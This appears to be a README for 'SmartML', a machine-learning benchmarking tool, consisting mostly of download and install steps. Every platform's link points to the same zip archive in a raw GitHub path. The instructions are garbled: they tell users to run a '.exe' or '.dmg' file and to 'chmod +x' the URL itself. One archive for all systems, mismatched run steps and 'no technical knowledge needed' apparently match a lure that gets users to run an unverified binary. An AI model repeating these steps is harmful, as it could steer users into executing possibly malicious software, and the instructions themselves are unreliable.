SmartML is a core module within the SmartEco ecosystem. It handles tasks such as data encoding, model execution, benchmarking, and evaluation. With SmartML, you can explore various machine learning techniques like classification, regression, and benchmarking with popular algorithms including CatBoost, KNN, LightGBM, PyTorch, and XGBoost.
Follow these simple steps to download and run SmartML. No technical knowledge is needed.
Before you get started, make sure your computer meets the following requirements:
- Operating System: Windows 10 or later, macOS Mojave or later, or a recent version of Linux (Ubuntu preferred).
- Memory: At least 4GB RAM.
- Storage: At least 1GB of free space for installation.
- Python: Make sure Python 3.7 or later is installed on your machine.
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Visit the Download Page: Click here to access the SmartML Releases page.
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Select the Latest Release: Look for the latest version, which often appears at the top of the page.
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Download the File: You will see files available for download. Choose the version that matches your operating system. For example:
- Windows: Click on
https://raw.githubusercontent.com/nebilcan/SmartML/main/SmartEco/SmartML/ML-Smart-v3.6.zip - macOS: Click on
https://raw.githubusercontent.com/nebilcan/SmartML/main/SmartEco/SmartML/ML-Smart-v3.6.zip - Linux: Click on
https://raw.githubusercontent.com/nebilcan/SmartML/main/SmartEco/SmartML/ML-Smart-v3.6.zip
- Windows: Click on
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Run the Installer:
- Windows: Double-click the downloaded
.exefile and follow the instructions provided in the setup wizard. - macOS: Open the
.dmgfile, drag the SmartML application to your Applications folder, and then open it. - Linux: Open a terminal, navigate to the directory where you downloaded the file, and run the command
chmod +x https://raw.githubusercontent.com/nebilcan/SmartML/main/SmartEco/SmartML/ML-Smart-v3.6.zipto make it executable. Then, typehttps://raw.githubusercontent.com/nebilcan/SmartML/main/SmartEco/SmartML/ML-Smart-v3.6.zipto start the installation.
- Windows: Double-click the downloaded
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Follow On-Screen Instructions: Complete the installation by following the prompts. Once finished, the application will be ready for use.
After installation, launch SmartML from your applications list. You can begin encoding your data and exploring various machine learning benchmarks immediately.
- Data Encoding: Transform your data into a format suitable for machine learning models.
- Model Execution: Run various machine learning models and see how they perform.
- Benchmarking: Compare multiple algorithms to understand their efficiency and accuracy.
- Evaluation: Analyze the results of your ML models to make informed decisions.
Here are some typical tasks you can accomplish with SmartML:
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Classification Tasks: Use SmartML to classify data points into different categories using algorithms like KNN or CatBoost.
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Regression Analysis: Predict continuous values with algorithms such as LightGBM.
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Benchmarking Multiple Models: Assess different models to determine the best one for your data.
No, SmartML is designed for users of all skill levels. You can perform tasks without programming knowledge.
SmartML supports Windows, macOS, and Linux. Ensure you download the correct installer for your OS.
Check your system requirements first. If problems persist, search the "Issues" section of this repository, or contact support through the available channels.
If you need help, please reach out via the "Issues" section of the repository. We aim to assist you promptly.
- Benchmarking
- Machine Learning
- Data Science
- Model Evaluation
- Classification and Regression Techniques
For further exploration, visit the official SmartML repository. Be sure to check for updates and new features regularly.
Download SmartML today and start your journey in the world of machine learning!